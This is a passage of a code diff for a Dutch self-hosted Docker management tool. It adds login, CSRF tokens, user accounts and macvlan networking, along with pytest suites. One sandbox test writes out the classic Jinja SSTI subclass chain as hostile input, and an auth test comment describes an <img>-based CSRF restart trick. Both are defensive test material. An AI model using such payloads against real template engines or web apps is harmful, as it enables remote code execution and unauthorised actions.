<div class="text-[10px] text-dm dark:text-dm-dark mt-0.5 truncate" x-show="c.ports" x-text="c.ports"></div>
</div>
</template>
</div>
<div class="flex flex-wrap gap-1.5 mt-auto" x-show="s.has_compose">
<button class="btn-sm flex-1 min-w-[84px]" :class="s.running ? 'btn-danger' : 'btn-primary'" @click="stackAction(s.name, s.running ? 'stop' : 'start')">
@ -365,6 +463,73 @@ tailwind.config = {
</div>
</div>
<!-- Beveiliging: accounts + wachtwoord -->
<div class="card">
<div class="px-5 py-4 flex items-center gap-2.5 border-b border-bd dark:border-bd-dark">
<span class="mdi mdi-shield-account-outline text-ac dark:text-ac-dark text-lg"></span>
<span class="font-bold text-wh dark:text-wh-dark text-sm">Beveiliging</span>
<span class="badge badge-dim ml-auto" x-text="'ingelogd als ' + auth.user"></span>
</div>
<div class="p-5 grid md:grid-cols-2 gap-6">
<div>
<div class="form-label">Gebruikers</div>
<div class="space-y-1.5 mb-3">
<template x-for="u in users" :key="u">
<div class="flex items-center gap-2 text-sm">
<span class="mdi mdi-account-outline text-t2 dark:text-t2-dark"></span>
<span class="text-tx dark:text-tx-dark flex-1" x-text="u"></span>
<button class="btn-sm !h-7 !px-2 btn-danger" x-show="users.length > 1"
@click="delUser(u)"><span class="mdi mdi-delete-outline"></span></button>
</div>
</template>
</div>
<div class="grid gap-2">
<input class="form-input" x-model="newUser.username" placeholder="Gebruikersnaam">
<input type="password" class="form-input" x-model="newUser.password" placeholder="Wachtwoord (min. 10 tekens)">
<button class="btn btn-sm" @click="addUser()"><span class="mdi mdi-account-plus-outline"></span> Gebruiker toevoegen</button>
</div>
</div>
<div>
<div class="form-label">Eigen wachtwoord wijzigen</div>
<div class="grid gap-2">
<input type="password" class="form-input" x-model="pwForm.current" placeholder="Huidig wachtwoord">
<input type="password" class="form-input" x-model="pwForm.new" placeholder="Nieuw wachtwoord">
<input type="password" class="form-input" x-model="pwForm.new2" placeholder="Nieuw wachtwoord herhalen">
<button class="btn btn-sm" @click="changePassword()"><span class="mdi mdi-key-variant"></span> Wijzigen</button>
</div>
</div>
</div>
</div>
<!-- Netwerken: stacks een eigen IP-adres geven -->
<div class="card">
<div class="px-5 py-4 flex items-center gap-2.5 border-b border-bd dark:border-bd-dark">
<span class="mdi mdi-lan text-ac dark:text-ac-dark text-lg"></span>
<span class="font-bold text-wh dark:text-wh-dark text-sm">Netwerken</span>
<button class="btn-sm ml-auto" @click="modal='add-network'"><span class="mdi mdi-plus"></span> Netwerk</button>
</div>
<div class="p-5">
<p class="text-xs text-t2 dark:text-t2-dark mb-3">
Met een macvlan- of ipvlan-netwerk krijgt een stack een eigen IP-adres in je LAN
in plaats van poorten op de host. Geen poortconflicten meer, en je kunt per app
firewallen. De Docker-host zelf bereikt macvlan-containers niet zonder shim-interface.
</p>
<div class="space-y-2">
<template x-for="n in netList" :key="n.name">
<div class="flex flex-wrap items-center gap-2 px-3 py-2.5 rounded-xl border border-bd dark:border-bd-dark bg-s2/40 dark:bg-s2-dark/40">
<span class="w-2 h-2 rounded-full shrink-0" :class="n.created ? 'bg-ok' : 'bg-wr'"></span>
<span class="font-semibold text-sm text-wh dark:text-wh-dark" x-text="n.name"></span>
<span class="badge badge-dim" x-text="n.driver"></span>
<span class="text-[11px] font-mono text-t2 dark:text-t2-dark" x-text="n.subnet + ' @ ' + n.parent"></span>
<span class="text-[11px] text-dm dark:text-dm-dark" x-show="n.next_ip">volgend vrij: <span class="font-mono" x-text="n.next_ip"></span></span>
<button class="btn-sm !h-7 !px-2 btn-danger ml-auto" @click="deleteNetwork(n.name)"><span class="mdi mdi-delete-outline"></span></button>
</div>
</template>
</div>
<div x-show="netList.length === 0" class="text-xs text-dm dark:text-dm-dark">Nog geen netwerken.</div>
</div>
</div>
<!-- Updates -->
<div class="card">
<div class="px-5 py-4 flex items-center gap-2.5 border-b border-bd dark:border-bd-dark">
@ -520,6 +685,40 @@ tailwind.config = {
</div>
</div>
<!-- Netwerk toevoegen -->
<div x-show="modal==='add-network'" class="modal max-w-md">
<div class="modal-head"><span class="mdi mdi-lan-connect text-ac dark:text-ac-dark"></span> Netwerk toevoegen</div>
<div class="modal-body space-y-3">
<div><label class="form-label">Naam</label><input class="form-input" x-model="newNet.name" placeholder="lan"></div>
<div class="grid grid-cols-2 gap-3">
<div><label class="form-label">Driver</label>
<select class="form-input" x-model="newNet.driver">
<option value="macvlan">macvlan</option>
<option value="ipvlan">ipvlan</option>
</select></div>
<div><label class="form-label">Host-interface</label>
<input class="form-input" x-model="newNet.parent" placeholder="eth0" list="ifaces">
<datalist id="ifaces"><template x-for="i in netIfaces" :key="i"><option :value="i"></option></template></datalist>
</div>
</div>
<div class="grid grid-cols-2 gap-3">
<div><label class="form-label">Subnet</label><input class="form-input font-mono" x-model="newNet.subnet" placeholder="192.168.1.0/24"></div>
<div><label class="form-label">Gateway</label><input class="form-input font-mono" x-model="newNet.gateway" placeholder="192.168.1.1"></div>
</div>
<div><label class="form-label">IP-range (optioneel)</label>
<input class="form-input font-mono" x-model="newNet.ip_range" placeholder="192.168.1.240/28">
<p class="text-[11px] text-dm dark:text-dm-dark mt-1">
Beperkt de adressen die Docker uitdeelt tot een blok dat je in je DHCP-server
hebt vrijgehouden. Zonder range gebruikt Docker het hele subnet.
</p>
</div>
</div>
<div class="modal-foot">
<button class="btn" @click="modal=null" x-text="t('cancel')">Annuleren</button>
<button class="btn btn-primary" @click="addNetwork()"><span class="mdi mdi-plus"></span> Aanmaken</button>
</div>
</div>
<!-- Install -->
<div x-show="modal==='install'" class="modal max-w-2xl flex flex-col max-h-[88vh]">
<div class="modal-head">
@ -534,6 +733,32 @@ tailwind.config = {
<input class="form-input" x-model="install.instance">
<p class="text-[11px] text-dm dark:text-dm-dark mt-1" x-text="t('instance_hint')">Wijzig voor meerdere installaties</p>
</div>
<!-- Netwerk: poorten op de host, of een eigen IP-adres (macvlan/ipvlan) -->
<div>
<label class="form-label">Netwerk</label>
<select class="form-input" x-model="install.network" @change="pickIp()">
<option value="">Poorten op de host (standaard)</option>
<template x-for="n in netList" :key="n.name">
<option :value="n.name" x-text="n.name + ' — eigen IP (' + n.subnet + ')'"></option>
</template>
</select>
<template x-if="install.network">
<div class="mt-2">
<label class="form-label">IP-adres</label>
<input class="form-input font-mono" x-model="install.ip" placeholder="192.168.1.240">
<p class="text-[11px] text-dm dark:text-dm-dark mt-1">
De stack krijgt dit adres in het LAN. Poortmappings vervallen — de app
is bereikbaar op zijn eigen poort. Let op: de Docker-host zelf kan een
macvlan-container niet bereiken zonder shim-interface (zie docs/netwerken.md).
</p>
</div>
</template>
<p x-show="!install.network && netList.length === 0"
class="text-[11px] text-dm dark:text-dm-dark mt-1">
Wil je stacks een eigen IP geven? Voeg eerst een netwerk toe bij Instellingen → Netwerken.
</p>
</div>
<div x-show="install.loading" class="text-center py-6 text-dm dark:text-dm-dark"><span class="mdi mdi-loading mdi-spin"></span> Configuratie laden…</div>
<!-- Boilerplate fields -->
@ -561,7 +786,18 @@ tailwind.config = {
<label class="inline-flex items-center gap-2 cursor-pointer"><input type="checkbox" :checked="!!install.values[f.name]" @change="install.values[f.name] = $event.target.checked" class="rounded border-bd dark:border-bd-dark text-ac w-5 h-5"><span class="text-xs text-t2 dark:text-t2-dark" x-text="f.description"></span></label>
</template>
<template x-if="f.type === 'int'"><input type="number" class="form-input" x-model.number="install.values[f.name]" :placeholder="f.placeholder"></template>
<template x-if="f.type === 'str'"><input class="form-input" x-model="install.values[f.name]" :placeholder="f.placeholder"></template>
<template x-if="f.type === 'str' && !f.secret"><input class="form-input" x-model="install.values[f.name]" :placeholder="f.placeholder"></template>
<!-- Geheim veld: genereerknop, zodat niemand 'admin123' invult -->
<template x-if="f.type === 'str' && f.secret">
<div class="flex gap-2">
<input class="form-input font-mono !text-xs" x-model="install.values[f.name]" :placeholder="f.placeholder">
<button type="button" class="btn-sm shrink-0" title="Genereer een willekeurige waarde"
@click="install.values[f.name] = randomSecret()"><span class="mdi mdi-dice-5-outline"></span></button>
</div>
</template>
<p x-show="f.port_taken" class="text-[11px] text-wr mt-1">
Poort <span x-text="f.port_taken"></span> is al in gebruik — <span x-text="f.suggested"></span> voorgesteld.
</p>
<p x-show="f.description && f.type !== 'bool'" class="text-[11px] text-dm dark:text-dm-dark mt-1" x-text="f.description"></p>
</div>
</template>
@ -771,7 +1007,7 @@ tailwind.config = {
<script>
function app() {
return {
version: '0.4.60',
version: '', // komt van de server (VERSION-bestand), niet hier hardcoden
page: location.hash.slice(1) || 'dashboard',
isMobile: window.innerWidth < 768,
sidebarOpen: window.innerWidth >= 768 && localStorage.getItem('sidebar') !== 'closed',
@ -783,6 +1019,20 @@ function app() {
toasts: [],
modal: null,
// Authenticatie. De app-shell wordt pas getoond als auth.authenticated waar
// is; tot die tijd staat het login- of setupscherm ervoor.
auth: { ready: false, authenticated: false, user: '', needsSetup: false, mode: 'local', csrf: '' },
loginForm: { username: '', password: '', password2: '', error: '', busy: false },
users: [], newUser: { username: '', password: '' },
pwForm: { current: '', new: '', new2: '' },
// Uitklapbaar containerpaneel per stack: { <stack>: {open, loading, items} }
cpanel: {},
// Macvlan/ipvlan-netwerken waarmee stacks een eigen IP krijgen
netList: [], netIfaces: [],
newNet: { name: '', driver: 'macvlan', parent: '', subnet: '', gateway: '', ip_range: '' },
docker: { running: 0, containers: 0, images: 0 },
stacks: [],
stackQuery: '',
@ -834,6 +1084,14 @@ function app() {
});
await this.loadLangs();
await this.loadLang(localStorage.getItem('lang') || 'nl');
await this.loadAuth();
if (!this.auth.authenticated) return; // login-/setupscherm neemt het over
await this.startApp();
},
// Alles wat een ingelogde sessie vereist. Wordt ook na een succesvolle
// login aangeroepen, zodat je niet hoeft te herladen.
async startApp() {
await this.checkWizard();
await this.loadDocker();
await this.loadModules();
@ -903,7 +1161,7 @@ function app() {
},
async deleteLang(code) {
if (!confirm(this.t('delete_language_confirm') || ('Taal '+code+' verwijderen?'))) return;
const d = await fetch('/api/i18n/'+code, { method:'DELETE' }).then(r=>r.json()).catch(()=>({}));
const d = await this.req('/api/i18n/'+code, { method:'DELETE' });
if (d.ok) {
this.toast(d.msg || this.t('deleted'), 'ok');
if (localStorage.getItem('lang') === code) this.setLang('nl');
@ -916,11 +1174,92 @@ function app() {
this.toasts.push({id, msg, kind});
setTimeout(() => this.toasts = this.toasts.filter(t=>t.id!==id), 2500);
},
async rpc(url, body) {
// ── Authenticatie ────────────────────────────────────────────────────────
async loadAuth() {
try {
const o = body !== undefined ? { method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify(body) } : {};
return await (await fetch(url, o)).json();
} catch(e) { return { error: e.message }; }
const d = await (await fetch('/api/auth/me')).json();
this.auth = { ready: true, authenticated: !!d.authenticated, user: d.user || '',
needsSetup: !!d.needs_setup, mode: d.mode || 'local',
csrf: d.csrf_token || '' };
if (d.version) this.version = d.version;
} catch(e) {
this.auth = { ...this.auth, ready: true, authenticated: false };
}
},
async doLogin() {
this.loginForm.error = ''; this.loginForm.busy = true;
const d = await this.req('/api/auth/login', { method:'POST', json: {
username: this.loginForm.username, password: this.loginForm.password } });
this.loginForm.busy = false;
if (!d.ok) { this.loginForm.error = d.msg || 'Inloggen mislukt'; return; }
this.auth.authenticated = true;
this.auth.user = d.user; this.auth.csrf = d.csrf_token || '';
this.loginForm = { username:'', password:'', password2:'', error:'', busy:false };
await this.startApp();
},
async doSetup() {
this.loginForm.error = '';
if (this.loginForm.password !== this.loginForm.password2) {
this.loginForm.error = 'De wachtwoorden komen niet overeen.'; return;
}
this.loginForm.busy = true;
const d = await this.req('/api/auth/setup', { method:'POST', json: {
username: this.loginForm.username, password: this.loginForm.password } });
this.loginForm.busy = false;
if (!d.ok) { this.loginForm.error = d.msg || 'Aanmaken mislukt'; return; }
this.auth.authenticated = true; this.auth.needsSetup = false;
this.auth.user = this.loginForm.username; this.auth.csrf = d.csrf_token || '';
this.loginForm = { username:'', password:'', password2:'', error:'', busy:false };
await this.startApp();
},
async logout() {
await this.req('/api/auth/logout', { method:'POST', json: {} });
this.auth.authenticated = false; this.auth.user = ''; this.auth.csrf = '';
},
async loadUsers() { const d = await this.rpc('/api/auth/users'); this.users = d.users || []; },
async addUser() {
const d = await this.req('/api/auth/users', { method:'POST', json: this.newUser });
this.toast(d.msg || (d.ok ? 'Toegevoegd' : 'Fout'), d.ok ? 'ok' : 'er');
if (d.ok) { this.newUser = { username:'', password:'' }; this.loadUsers(); }
},
async delUser(name) {
if (!confirm('Gebruiker ' + name + ' verwijderen?')) return;
const d = await this.req('/api/auth/users/' + encodeURIComponent(name), { method:'DELETE' });
this.toast(d.msg || (d.ok ? 'Verwijderd' : 'Fout'), d.ok ? 'ok' : 'er');
this.loadUsers();
},
async changePassword() {
if (this.pwForm.new !== this.pwForm.new2) { this.toast('Wachtwoorden komen niet overeen', 'er'); return; }
const d = await this.req('/api/auth/password', { method:'POST', json: {
current: this.pwForm.current, new: this.pwForm.new } });
this.toast(d.msg || (d.ok ? 'Gewijzigd' : 'Fout'), d.ok ? 'ok' : 'er');
if (d.ok) this.pwForm = { current:'', new:'', new2:'' };
},
// Centrale fetch: voegt het CSRF-token toe aan elke mutatie en stuurt de
// gebruiker terug naar het loginscherm zodra de sessie verlopen is.
async req(url, { method = 'GET', json } = {}) {
const opts = { method, headers: {} };
if (json !== undefined) {
opts.headers['Content-Type'] = 'application/json';
opts.body = JSON.stringify(json);
}
if (method !== 'GET' && method !== 'HEAD') {
opts.headers['X-CSRF-Token'] = this.auth.csrf;
}
try {
const r = await fetch(url, opts);
if (r.status === 401) {
this.auth.authenticated = false;
await this.loadAuth();
return { ok: false, msg: 'Sessie verlopen — log opnieuw in' };
}
return await r.json();
} catch(e) { return { ok: false, error: e.message, msg: e.message }; }
},
async rpc(url, body) {
return body !== undefined ? this.req(url, { method:'POST', json: body })
: this.req(url);
},
goto(id) {
@ -978,11 +1317,74 @@ function app() {
this.modal = 'editor';
},
async saveEditor() {
const r = await fetch(`/api/stacks/${encodeURIComponent(this.editor.stack)}/${this.editor.type}`,
{ method:'PUT', headers:{'Content-Type':'application/json'}, body: JSON.stringify({ content: this.editor.content }) });
if (r.ok) { this.toast('Opgeslagen', 'ok'); this.modal=null; }
else this.toast('Fout bij opslaan', 'er');
const d = await this.req(`/api/stacks/${encodeURIComponent(this.editor.stack)}/${this.editor.type}`,
{ method:'PUT', json: { content: this.editor.content } });
if (d.ok) { this.toast('Opgeslagen', 'ok'); this.modal=null; }
else this.toast(d.msg || 'Fout bij opslaan', 'er');
},
// ── Netwerken ────────────────────────────────────────────────────────────
async loadNetworks() {
const d = await this.rpc('/api/networks');
this.netList = d.networks || [];
this.netIfaces = d.interfaces || [];
},
// Vul automatisch het eerstvolgende vrije adres in als je een netwerk kiest.
pickIp() {
const n = this.netList.find(x => x.name === this.install.network);
this.install.ip = n ? (n.next_ip || '') : '';
},
async addNetwork() {
const d = await this.rpc('/api/networks', this.newNet);
this.toast(d.msg || (d.ok ? 'Aangemaakt' : 'Fout'), d.ok ? 'ok' : 'er');
if (d.ok) {
this.newNet = { name:'', driver:'macvlan', parent:'', subnet:'', gateway:'', ip_range:'' };
this.modal = null;
this.loadNetworks();
}
},
async deleteNetwork(name) {
if (!confirm('Netwerk ' + name + ' verwijderen?')) return;
const d = await this.req('/api/networks/' + encodeURIComponent(name), { method:'DELETE' });
this.toast(d.msg || (d.ok ? 'Verwijderd' : 'Fout'), d.ok ? 'ok' : 'er');
this.loadNetworks();
},
// Cryptografisch willekeurige waarde voor admin-tokens en wachtwoorden.
// Lokaal gegenereerd, dus het geheim gaat niet heen en weer over het net.
randomSecret(bytes = 24) {
const buf = new Uint8Array(bytes);
crypto.getRandomValues(buf);
return btoa(String.fromCharCode(...buf))
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
},
// ── Containers binnen een stack ──────────────────────────────────────────
async toggleContainers(stack) {
const cur = this.cpanel[stack] || { open: false, loading: false, items: [] };
if (cur.open) { this.cpanel = { ...this.cpanel, [stack]: { ...cur, open: false } }; return; }
this.cpanel = { ...this.cpanel, [stack]: { ...cur, open: true, loading: true } };
await this.loadContainers(stack);
},
async loadContainers(stack) {
const d = await this.rpc(`/api/stacks/${encodeURIComponent(stack)}/containers`);
const cur = this.cpanel[stack] || { open: true };
this.cpanel = { ...this.cpanel,
[stack]: { ...cur, loading: false, items: d.containers || [] } };
},
async containerAction(stack, container, action) {
const d = await this.rpc(
`/api/stacks/${encodeURIComponent(stack)}/containers/${encodeURIComponent(container)}/${action}`, {});
this.toast(d.ok ? this.t(action) + ' ✓' : (d.msg || 'Fout'), d.ok ? 'ok' : 'er');
await this.loadContainers(stack);
this.loadStacks();
},
async openContainerLogs(stack, container) {
const d = await this.rpc(
`/api/stacks/${encodeURIComponent(stack)}/containers/${encodeURIComponent(container)}/logs`);
this.logs = { title: container + ' · logs', content: d.logs || '(geen output)' };
this.modal = 'logs';
},
async openLogs(name) {
const d = await this.rpc(`/api/stacks/${encodeURIComponent(name)}/logs`);
this.logs = { title: name+' · logs', content: d.logs || '(geen output)' };
@ -1005,7 +1407,7 @@ function app() {
async syncAllRepos() { for (const r of this.repos) await this.syncRepo(r.id); },
async deleteRepo(rid) {
if (!confirm('Repository verwijderen?')) return;
await fetch(`/api/repos/${rid}`, { method:'DELETE' });
await this.req(`/api/repos/${encodeURIComponent(rid)}`, { method:'DELETE' });
this.toast('Verwijderd', 'ok');
this.loadAppStore();
},
@ -1022,9 +1424,11 @@ function app() {
format: stack.format === 'boilerplate' ? 'boilerplate' : 'compose',
loading: true,
envVars: [], images: [], envOverrides: {}, imageTags: {},
fields: [], values: {}, preview_files: {}
fields: [], values: {}, preview_files: {},
network: '', ip: ''
};
this.modal = 'install';
if (!this.netList.length) await this.loadNetworks();
const d = await this.rpc('/api/store/preview', { stack: this.install.stack, repo_id: rid });
this.install.loading = false;
if (!d.ok) { this.toast(d.msg || 'Preview faalde', 'er'); this.modal = null; return; }
@ -1078,6 +1482,7 @@ function app() {
repo_id: this.install.repo_id,
instance: this.install.instance || this.install.stack,
};
if (this.install.network) { body.network = this.install.network; body.ip = this.install.ip; }
if (this.install.format === 'boilerplate') body.values = this.install.values;
else { body.env_overrides = this.install.envOverrides; body.image_tags = this.install.imageTags; }
const d = await this.rpc('/api/store/install', body);
@ -1108,12 +1513,17 @@ function app() {
this.loadAudit();
},
async loadSettings() { const d = await this.rpc('/api/settings'); this.settings = d || {}; await this.loadAppStore(); },
async loadSettings() {
const d = await this.rpc('/api/settings'); this.settings = d || {};
await this.loadAppStore();
await this.loadUsers();
await this.loadNetworks();
},
autoSave() {
if (this.saveTimer) clearTimeout(this.saveTimer);
this.saveTimer = setTimeout(async () => {
const body = { ...this.settings, LANGUAGE: this.settings.LANGUAGE, THEME: this.theme };
await fetch('/api/settings', { method:'PUT', headers:{'Content-Type':'application/json'}, body: JSON.stringify(body) });
await this.req('/api/settings', { method:'PUT', json: body });
this.saved = true; setTimeout(() => this.saved = false, 1500);
}, 400);
},

61
tests/conftest.py Normal file
View file

@ -0,0 +1,61 @@
"""Gedeelde fixtures. Elke test krijgt een eigen /data-map, zodat de suite
nooit de echte config.json, audit-db of git-cache van een draaiende instantie
raakt."""
import importlib
import sys
from pathlib import Path
import pytest
APP_DIR = Path(__file__).resolve().parent.parent / "server-up"
if str(APP_DIR) not in sys.path:
sys.path.insert(0, str(APP_DIR))
@pytest.fixture
def env(tmp_path, monkeypatch):
"""Verse omgeving: config, audit-db, git-cache en secret in tmp_path."""
data = tmp_path / "data"
data.mkdir()
lib = tmp_path / "stacks"
lib.mkdir()
monkeypatch.setenv("SU_CONFIG", str(data / "config.json"))
monkeypatch.setenv("SU_AUDIT", str(data / "audit.db"))
monkeypatch.setenv("SU_GIT_CACHE", str(data / "git"))
monkeypatch.setenv("SU_SECRET", str(data / "secret.key"))
monkeypatch.setenv("LIBRARY_DIR", str(lib))
monkeypatch.setenv("DATA_DIR", str(tmp_path / "appdata"))
monkeypatch.setenv("BACKUP_DIR", str(tmp_path / "backups"))
# Modules opnieuw importeren zodat ze de nieuwe paden oppikken.
for name in list(sys.modules):
if name == "core" or name.startswith("core.") or name == "app":
del sys.modules[name]
core = importlib.import_module("core")
core._path = Path(data / "config.json")
return {"data": data, "lib": lib, "tmp": tmp_path, "core": core}
@pytest.fixture
def client(env, monkeypatch):
"""Flask-testclient met een aangemaakt account en geldige sessie."""
import app as app_module
app_module.app.config["TESTING"] = True
c = app_module.app.test_client()
return c
@pytest.fixture
def anon_client(env):
"""Testclient zonder sessie."""
import app as app_module
app_module.app.config["TESTING"] = True
return app_module.app.test_client()
def login(client, username="tester", password="hunter2hunter2"):
"""Maak het eerste account aan en retourneer het CSRF-token."""
r = client.post("/api/auth/setup",
json={"username": username, "password": password})
assert r.status_code == 200, r.get_json()
return r.get_json()["csrf_token"]

121
tests/test_auth.py Normal file
View file

@ -0,0 +1,121 @@
"""Authenticatie: guard, CSRF, lockout en de trusted-proxy-header."""
import pytest
from conftest import login
def test_api_vereist_login(anon_client):
r = anon_client.get("/api/stacks")
assert r.status_code == 401
assert r.get_json()["needs_setup"] is True
def test_index_en_healthz_zijn_publiek(anon_client):
assert anon_client.get("/healthz").status_code == 200
assert anon_client.get("/").status_code == 200
def test_setup_maakt_account_en_kan_niet_herhaald_worden(anon_client):
login(anon_client)
r = anon_client.post("/api/auth/setup",
json={"username": "tweede", "password": "hunter2hunter2"})
assert r.status_code == 409
def test_setup_weigert_kort_wachtwoord(anon_client):
r = anon_client.post("/api/auth/setup",
json={"username": "tester", "password": "kort"})
assert r.status_code == 400
assert "10 tekens" in r.get_json()["msg"]
def test_login_en_logout(client):
login(client)
client.post("/api/auth/logout", json={},
headers={"X-CSRF-Token": _csrf(client)})
assert client.get("/api/stacks").status_code == 401
r = client.post("/api/auth/login",
json={"username": "tester", "password": "hunter2hunter2"})
assert r.status_code == 200
assert client.get("/api/stacks").status_code == 200
def test_verkeerd_wachtwoord_wordt_geweigerd(client):
login(client)
client.post("/api/auth/logout", json={}, headers={"X-CSRF-Token": _csrf(client)})
r = client.post("/api/auth/login",
json={"username": "tester", "password": "verkeerdverkeerd"})
assert r.status_code == 401
def test_lockout_na_herhaalde_pogingen(client):
import core.auth as auth
login(client)
for _ in range(5):
auth.check_login("tester", "foutfoutfout")
ok, msg = auth.check_login("tester", "hunter2hunter2")
assert not ok
assert "Te veel mislukte pogingen" in msg
def test_mutatie_zonder_csrf_token_wordt_geweigerd(client):
login(client)
r = client.post("/api/docker/restart", json={})
assert r.status_code == 403
assert "CSRF" in r.get_json()["msg"]
def test_mutatie_met_verkeerd_csrf_token_wordt_geweigerd(client):
login(client)
r = client.post("/api/docker/restart", json={},
headers={"X-CSRF-Token": "niet-het-echte-token"})
assert r.status_code == 403
def test_state_wijzigende_routes_weigeren_get(client):
"""Zonder deze regel volstond <img src=".../api/docker/restart"> op een
willekeurige website om de container te herstarten."""
login(client)
for path in ("/api/docker/restart", "/api/wizard/complete",
"/api/wizard/reset", "/api/wizard/sync",
"/api/repos/server-up/sync"):
assert client.get(path).status_code == 405, path
def test_proxy_header_alleen_vanaf_vertrouwd_ip(client, env):
core = env["core"]
import core.auth as auth
a = auth.settings()
a.update({"mode": "both", "proxy_header": "Remote-User",
"trusted_proxies": ["10.9.9.9"]})
core.patch({"AUTH": a})
# Niet-vertrouwd bron-IP: header wordt genegeerd.
r = client.get("/api/stacks", headers={"Remote-User": "indringer"},
environ_overrides={"REMOTE_ADDR": "10.1.1.1"})
assert r.status_code == 401
# Vertrouwde proxy: identiteit wordt geaccepteerd.
r = client.get("/api/stacks", headers={"Remote-User": "collega"},
environ_overrides={"REMOTE_ADDR": "10.9.9.9"})
assert r.status_code == 200
def test_proxy_modus_vereist_trusted_proxies(client):
csrf = login(client)
r = client.put("/api/auth/mode", json={"mode": "proxy", "trusted_proxies": []},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
def test_wachtwoordhash_is_niet_omkeerbaar():
import core.auth as auth
rec = auth.hash_password("hunter2hunter2")
assert "hunter2hunter2" not in str(rec)
assert auth.verify_password("hunter2hunter2", rec)
assert not auth.verify_password("hunter2hunter3", rec)
def _csrf(client):
return client.get("/api/auth/me").get_json()["csrf_token"]

103
tests/test_boilerplates.py Normal file
View file

@ -0,0 +1,103 @@
"""Boilerplate-rendering: de sandbox, en de YAML-opruiming die conditionele
blokken achterlaten."""
import json
import pytest
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
from core import boilerplates as bp
def _maak_boilerplate(tmp_path, compose: str, variables=None) -> Path:
d = tmp_path / "stack"
(d / "files").mkdir(parents=True)
(d / "template.json").write_text(json.dumps({
"kind": "compose",
"metadata": {"name": "Test", "description": "", "tags": []},
"variables": variables if variables is not None else [{
"title": "Algemeen",
"items": [
{"name": "service_name", "type": "str", "default": "test"},
{"name": "port", "type": "int", "default": 8080},
{"name": "admin", "type": "bool", "default": False},
],
}],
}), encoding="utf-8")
(d / "files" / "compose.yaml").write_text(compose, encoding="utf-8")
return d
def test_render_vult_variabelen_in(tmp_path):
src = _maak_boilerplate(tmp_path, "services:\n << service_name >>:\n image: nginx\n"
" ports:\n - \"<< port >>:80\"\n")
dest = tmp_path / "out"
bp.render_to_dir(src, dest, {"service_name": "web", "port": 9090})
tekst = (dest / "docker-compose.yml").read_text()
assert "web:" in tekst
assert '"9090:80"' in tekst
def test_conditioneel_blok_wordt_overgeslagen(tmp_path):
src = _maak_boilerplate(
tmp_path,
"services:\n app:\n image: nginx\n"
" environment:\n"
"<% if admin %>\n - ADMIN=1\n<% endif %>\n")
dest = tmp_path / "out"
bp.render_to_dir(src, dest, {"admin": False})
tekst = (dest / "docker-compose.yml").read_text()
assert "ADMIN" not in tekst
# `environment:` zonder inhoud is ongeldige YAML en moet weg zijn.
assert "environment:" not in tekst
def test_lege_mapping_aan_einde_verdwijnt():
assert bp._drop_empty_mappings("services:\n app:\n image: x\n volumes:\n") \
== "services:\n app:\n image: x\n"
def test_gevulde_mapping_blijft_staan():
tekst = "services:\n app:\n image: x\n"
assert bp._drop_empty_mappings(tekst) == tekst
def test_sandbox_geeft_geen_python_internals_prijs(tmp_path):
"""Templates komen uit externe git-repo's en worden al gerenderd in
/api/store/preview. De sandbox levert Undefined (leeg) voor afgeschermde
attributen, zodat er nooit een echt Python-object in het resultaat komt."""
src = _maak_boilerplate(tmp_path, "x: << service_name.__class__ >>\n")
bp.render_to_dir(src, tmp_path / "out", {"service_name": "web"})
tekst = (tmp_path / "out" / "docker-compose.yml").read_text()
# `x:` blijft leeg achter en wordt daarna door _drop_empty_mappings opgeruimd.
assert tekst.strip() == ""
assert "class" not in tekst
def test_sandbox_laat_aanroep_van_internals_falen(tmp_path):
"""De klassieke SSTI-keten faalt hard in plaats van de subclass-lijst —
en daarmee een weg naar os.system op te leveren."""
src = _maak_boilerplate(
tmp_path, "x: << ''.__class__.__mro__[1].__subclasses__() >>\n")
with pytest.raises(bp.BoilerplateError):
bp.render_to_dir(src, tmp_path / "out", {})
def test_normale_filters_blijven_werken(tmp_path):
"""De sandbox mag de bestaande templates niet breken — vaultwarden gebruikt
bijvoorbeeld `<< signups_allowed | lower >>`."""
src = _maak_boilerplate(
tmp_path, "a: << service_name | upper >>\nb: << admin | lower >>\n")
bp.render_to_dir(src, tmp_path / "out", {"service_name": "web", "admin": True})
tekst = (tmp_path / "out" / "docker-compose.yml").read_text()
assert "a: WEB" in tekst
assert "b: true" in tekst
def test_is_boilerplate_herkent_layout(tmp_path):
src = _maak_boilerplate(tmp_path, "services: {}\n")
assert bp.is_boilerplate(src)
assert not bp.is_boilerplate(tmp_path)

View file

@ -0,0 +1,86 @@
"""Poorten → eigen IP-adres (macvlan/ipvlan)."""
import sys
from pathlib import Path
import pytest
import yaml
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "server-up"))
from core import compose_transform as ct
BASIS = """\
services:
vaultwarden:
image: vaultwarden/server:latest
ports:
- "8222:80"
volumes:
- /data:/data
"""
def test_poorten_verdwijnen_en_ip_wordt_toegekend():
doc = yaml.safe_load(ct.to_dedicated_ip(BASIS, "lan", "192.168.1.240"))
svc = doc["services"]["vaultwarden"]
assert "ports" not in svc
assert svc["networks"] == {"lan": {"ipv4_address": "192.168.1.240"}}
assert doc["networks"] == {"lan": {"external": True}}
def test_overige_instellingen_blijven_intact():
doc = yaml.safe_load(ct.to_dedicated_ip(BASIS, "lan", "192.168.1.240"))
svc = doc["services"]["vaultwarden"]
assert svc["image"] == "vaultwarden/server:latest"
assert svc["volumes"] == ["/data:/data"]
def test_alleen_de_publicerende_service_krijgt_het_ip():
tekst = """\
services:
db:
image: postgres
web:
image: nginx
ports:
- "8080:80"
"""
doc = yaml.safe_load(ct.to_dedicated_ip(tekst, "lan", "10.0.0.5"))
assert doc["services"]["web"]["networks"] == {"lan": {"ipv4_address": "10.0.0.5"}}
# De database blijft in hetzelfde netwerk zodat web hem kan vinden.
assert doc["services"]["db"]["networks"] == ["lan"]
assert "ports" not in doc["services"]["db"]
def test_expliciete_service_kan_gekozen_worden():
tekst = "services:\n a:\n image: x\n b:\n image: y\n ports: ['1:1']\n"
doc = yaml.safe_load(ct.to_dedicated_ip(tekst, "lan", "10.0.0.9", only_service="a"))
assert doc["services"]["a"]["networks"] == {"lan": {"ipv4_address": "10.0.0.9"}}
assert doc["services"]["b"]["networks"] == ["lan"]
def test_zonder_poorten_krijgt_de_eerste_service_het_ip():
doc = yaml.safe_load(ct.to_dedicated_ip(
"services:\n solo:\n image: x\n", "lan", "10.0.0.2"))
